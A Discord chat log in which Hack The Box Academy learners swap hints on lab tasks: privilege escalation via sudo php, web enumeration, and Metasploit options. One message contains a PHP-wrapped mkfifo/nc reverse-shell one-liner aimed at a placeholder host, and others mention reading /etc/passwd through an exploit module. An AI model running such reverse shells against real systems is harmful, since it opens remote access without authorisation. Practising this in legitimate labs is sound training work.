Im just bouncin thoughts off the walls. My other thought was that if they're newly created accts, hence checking age, you could flag them as soon as they appear...though taht might be complicated for the bot

[rustic sage]

my custom bot (not an ad, it's private lmao) displays account age in the join log

although if theyre hacked accounts that wont do shit

[native patio]

no but you could require them to verify with a DM

[void mountain]

John was typing

[native patio]

as soon as a user joins

[rustic sage]

maybe with a captcha

[neon pike]

this is best by far

[native patio]

i've been in servers where that was a raid prevention tool. you had to provide a captcha completion essentially

[languid fjord]

we have that too

[rustic sage]

if its the same verification process for all members, i'd imagine it'd be pretty easy to bypass with a selfbot

[languid fjord]

we just(mostly) stop everyone with the verification system

[spiral basalt]

does discord even need that much verification

[languid fjord]

no ones ever breached the containment zone 😛

[native patio]

actually just for fun i wanna see if i can try the captcha thing now lol

[rustic sage]

tf is going on

[spiral basalt]

last time i checked you could just make an account from the browser and it didnt care

[languid fjord]

#general guys

[native patio]

sorry lol

[high zinc]

and a large amount of our members 😦

[open fern]

I would not pay $1

[normal inlet]

[frail wadi]

So many notifications

[high zinc]

#📣-announcements

[pallid lynx]

i be too poor for a 1 doll hair fee

[rustic sage]

That was a really terrible raid

Ngl

[south sun]

hey guys i am trying to get the flag.txt in htb academy =>getting started module ->public exploits chapter; i identified the exploit but can't figure the path; anyone can help?

[neon shard]

Yea

[south sun]

@neon shard sent ya

@neon shard you there?

[pulsar elm]

Hello. In getting started - Knowledge Check I achieved to run || LinEnum.sh that gave me the result in the print but I cant "echo .... " to perform reverse shell, says permission denied , I don't understand why. ||
Can anyone help?

[high zinc]

what do you want to echo?

[high zinc]

hmm not sure about that one specifically, if the module is trying to teach something in particular

but a great website for finding examples on how to exploit misconfigurations such as this is https://gtfobins.github.io/

[wet garden]

@pulsar elm i might be wrong, but it looks like ur not using “sudo”, pm if you want me to explain a lil more

[pulsar elm]

When I uso sudo it asks for pw

[pulsar elm]

which doesn’t make sense since it says I can use sudo without pw

[wet garden]

u have sudo perms with “/usr/bin/php” not with tee

check ur pms in sec @pulsar elm

[visual harbor]

"Try running some of the web enumeration techniques you learned in this section on the server above, and use the info you get to get the flag."
How do I do this, please?
I've tried some stuff and googled for help but I can't seem to get the correct answer.
Any help appreciated. 🙂

(Module - Getting Started, Section Web enumeration..)

[south sun]

hey guys i am trying to get the flag.txt in htb academy =>getting started module ->public exploits chapter; i identified the exploit but can't figure the path; anyone can help?

still need help

[visual harbor]

++academy

[red obsidian]

Academy Site

Cyber security training with hands-on exercises by Hack The Box. Join now and advance your cyber security skills!

[golden flower]

Hi mates im stucked in Getting started exactly in the last step " After obtaining a foothold on the target, escalate privileges to root and submit the contents of the root.txt flag."
I know i can use this

User www-data may run the following commands on gettingstarted:
(ALL : ALL) NOPASSWD: /usr/bin/php

But I don't know how use this to upgrade to root i try make fake .php to try launch one shell or rever shell
but I can only do a rever shell with my current user. Thanks 🙂

[rustic sage]

Remember that you can run a command with sudo, you already mention, try to get something inside that command that can do an action inside the OS that you want

[golden flower]

Yes i know, i try sudo -u <user> /usr/bin/php <personalscrip.php> and in this command diferent scripts like
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/bash -i 2>&1|nc <lhost> <port> >/tmp/f"); ?>
echo '#!/bin/bash' > shell.sh
echo '<?php exec("sudo shell.sh"); ?>' > launcher.php
sudo -u www-data /usr/bin/php launcher.php

Surely it would be silly but I can't see it. Thanks a lot

[golden flower]

I solved it, I am an idiot, it is clear that looking with perspective will always be key

[vital sluice]

hi everyone, I'm stuck at the File inclusion module's skill assessment. I tried different approaches but none worked. Can someone please give a hint?

[viral echo]

Hi! I'm stucked at Linux Fundamentals Working with Web Services at first question i search for it a lot, but i dunno what to do, the module dont rly show the way how to do it so pls help me im under the water

[harsh pine]

Yeah, the module doesn't really show you how to solve that questions, but a simple search in a browser will take you out of the water

[viral echo]

i surf on the net almost 2 hours and i tried almost everything i think and its incorrect

[harsh pine]

strange, well, here's an article that will help you, for it it was literally the first result ||https://www.how2shout.com/how-to/how-to-install-and-use-node-js-http-server-web-server-via-npm.html||

[viral echo]

yeas

[novel matrix]

Please don't post spoilers @jaunty vortexas it destroys the purpose for others taking the same module.

[novel matrix]

@jaunty vortex If you want to post that image, please blur or scribble over the answers.

I wouldn't mark it as a spoiler as it's still giving answers away for someone that is new.

They can just click on "spoiler" to show the answers. Once you cover those answers, you're right to post 🙂

[jaunty vortex]

can someone explain these questions by dm to me?

[late cedar]

why do someone need to explain if you already have the answers?

[swift blade]

How the heck did they get a login in this? Can someone explain how they got the bob account.

[drifting knoll]

using credentials

[somber vine]

Hello do i need network adapter that supports monitoring mode to use nmap ?

[urban sage]

Nope.

[somber vine]

thanks 😄

[urban sage]

You're welcome.

[jaunty vortex]

because I tried one by one, and I didn't understand exactly

[loud remnant]

Hello everyone, I have a question concerning the security of the system i work from. is it prefferable always to use when i compleate modules?

use VM**

[visual harbor]

Hey everyone.
May I get assistance on this question, please?
SSH into the server above with the provided credentials, and use the '-p xxxxxx' to specify the port shown above. Once you login, try to find a way to move to 'user2', to get the flag in '/home/user2/flag.txt'.
Any help is appreciated.

[visual harbor]

Nevermind, I've got it! Thanks.

[terse yarrow]

hi guys. someone can help with the correct answer for question of diference between those two numbers?

here is the question.
What is the difference between the two numbers of the learning progress mentioned above?
hint 37.7 - 1.00
(1.00)365 = 1.00
(1.01)365 = 37.7
plz give answer???

done thanks

[split raven]

Hello, I'm stuck at
Module: Cracking into HTB
Web Requests
Section: Post Method

I've logged in as admin modifying the cookies as indicated. But I do not know what to enter as a response, admin_(cookie) does not work

[split raven]

Ok I've have it

[earnest zenith]

Why is my answer wrong?

[visual harbor]

Did you try doing ||apparmor.service?||

[visual harbor]

I'm stuck on the last question (Once you gain access to 'user2', try to find a way to escalate your privileges to root, to get the flag in '/root/flag.txt') in Getting Started Module, Section Privilege escalation..

So I've created a ssh key using the following command(s);
||touch id_rsa
chmod 777 id_rsa||

So then I ssh using the key ||- ssh user1@[IP] -i id_rsa||

All that works with no errors.

Once connected to user1, I cd'ed to /home using the cd .. command. Then I needed to get into user2. So I did ||sudo -u user2 /bin/bash.|| That's successful.
Then I went into the /root directory using the|| cd /root|| command and then I'm left with the file I want. I thought because I now have the ssh key with full perms when I do|| cat flag.txt|| I would get the context but I don't.

How do I answer this question, please?

[earnest zenith]

Yes, but it didn't work

[visual harbor]

Hm, One second.

Which module is that?

Linux fundamentals?

[earnest zenith]

Yes

[visual harbor]

If so which section

[earnest zenith]

18

module 18

[visual harbor]

the name of the section

[earnest zenith]

Service and Process Management

[visual harbor]

oh it doesn't let me go back into the module

[earnest zenith]

ok

[visual harbor]

sorry

[earnest zenith]

https://academy.hackthebox.eu/module/18

[visual harbor]

but u are on the correct lines

[earnest zenith]

Ok

[earnest zenith]

The Link for the module

[visual harbor]

oh thanks

it let me view the module by going to the link

lemme see

@earnest zenith dms

[visual harbor]

Any help will be highly appreciated. 🙂

[fresh bay]

hello

[opaque elm]

hey, I'm stuck at the last question of the Getting Started module to find the root.txt flag, can you help me ?
I'm stuck with this command line sudo -u www-data /usr/bin/php script.sh' I always have ./../../root as return

[opaque elm]

I'm stuck exactly here

[quick leaf]

Hey guys, Im new here and Im needing help with Send a GET request to flag.php with two parameters num1 and num2 such that their sum is 1337.

[quick leaf]

Its Cracking into HTB Path, Web Request Module

[timber sonnet]

dm me

[rustic sage]

I've got a question in linux fundamentals to the solution of the task: 'How many services are listening on the target system on all interfaces?'
||Why are only the ports with tcp connection counted when it says 'all interfaces'? There are also some listening services over udp with additional ports I firstly counted as well.||

[flint moth]

@rustic sage I am not sure about my answer but maybe because only in TCP we are listening ,in udp we only send data not recieve it

[quick leaf]

Hey guys, I'm still stuck. I've tried doing my own research and I unfortunately haven't found anything.

[flint moth]

@quick leaf which module?!!

[visual harbor]

Hi, how do I exit a nc -lvnp process, please?

[scarlet finch]

ctrl + c

[visual harbor]

Thanks!

[scarlet finch]

np ^^

[quick leaf]

its under Web Request

[surreal rain]

@visual harbor

[visual harbor]

ty

[late cedar]

does anyone have a clue?

when iam trying another method, its stuck here

[visual harbor]

It takes time.

It might take a few mins.

It was the same for me

[late cedar]

does the first version work for you?

[visual harbor]

No

[visual harbor]

dms

[thorny light]

sorry this problem irritiating me 2

[visual harbor]

Ok

Let's go to DMS

I'll help u

[thorny light]

plzz tell @visual harbor

[visual harbor]

chill dm me

[neat tide]

Yo guys, Can someone please help me with this...

Even though the RHOSTS is set properly.

[flint moth]

@neat tide RHOST and Rport need to set differently

You have added port in host

[neat tide]

Thank you! trying it right away.

[vital sluice]

Hi everyone, I'm at Getting Started module and stuck at Public exploits chapter because of reverse shell in metasploit behind NAT.

I used ngrok which map the public 0.tcp.ngrok.io:10581 into my localhost:4444 . What I think is: 0.tcp.ngrok.io:10581 should be passed to the payload which is sent to target machine so that it knows how to connect back. And localhost:4444 should be for the local listening process.

How can I pass these 2 pairs of host/port to metasploit if there is only 1 pair of LHOST/LPORT option available (see screenshot)?

[tight glen]

Currently doing file transfers, could somebody help me? Im trying to upload a file to a server using scp, im getting permisson denied, im not sure if i need to set a password, usually u get asked for it after hitting enter using scp 😕

[west rampart]

@vital sluice htb boxes don't have access to the Internet

@tight glen dm

[grand rivet]

Noob in 'request & response' exercise in the web requests module. My workstation didn't display any of what the module showed. Burp wasn't displayed anywhere & I had to type a search in the menu to find it. FoxyProxy was disabled & I attempted to configure manually. I didn't get the server response noted in the module. I'm on MacOS Big Sur 11.4. google & portswigger CA won't connect in brower. Burp shows different host, user-Agent, etc.

any help would be hot

[grand rivet]

web browser error code:MOZILLA_PKIX_ERROR_MITM_DETECTED . What does this mean & how do I get burp to intercept?

[rancid zealot]

When I use the starting point it says no VIP starting point is assigned to you and am wondering why for that it works with the Qrchetype but not with the included for the starting point and ma using openvpn commands and all

[vital sluice]

hi Mickhat, an Apache web service is running on the target. Do you mean we cannot attack using reverse shell in this case?

[maiden kiln]

Hello, I'm learning Introduction To Networking. This part bugged me since I'm not a native English . Hope someone can give me a simple explain, how do I calculate the subnet mask from a given IP? I thought subnet mask was 255.255.255.0

[flint moth]

@maiden kiln as you can see in CIDR our subnet mask is 26 and our ip address is a class C ip address (in default class C ip address we have default subnet mask 255.255.255.0 or /24 )so in last part subnet mask we borrowed 2 bits (24+2=26) and so it would be like 2^(7) + 2^(6) = 192
So it made our subnet 255.255.255.192!!
I hope this brief could help 👍

[maiden kiln]

Thank you so much for your explanation, I need to look further into these

[late cedar]

can someone help me and say which method did you use? (Getting Started -> Web Enumeration)

[neat tide]

||/robots.txt||

[late cedar]

thanks bro

[silk grail]

I don't understand

Is this module

https://academy.hackthebox.eu/module/35

[tawny plume]

Send a get request with two parameters num1 and num2. The sum of num1 and num2 must be equal to 1337

[pure breach]

Would 5.10.28 be the kernel version?

Because this is incorrect

[pearl nymph]

i am stuck at module getting started in public exploits lesson

can anyone help me out of it? i found auxiliary exploit in msf and checked it....i got a file saved in my workstation....it has list like this 👇

This is exactly what i have done

This is exactly i got in the file

[flint moth]

@pearl nymph the file you read seems to be /etc/passwd change the FILEPATH to which you want to read

[pearl nymph]

No bro that is the file which i got when i exploited given ip with msf

It will show you suggestion also that if host is up then what you should do....check it carefully

[flint moth]

@pearl nymph you need to change the Filepath because /etc/passwd it's the default file which it reads , check exploit options

[pearl nymph]

Thanks bro i have done it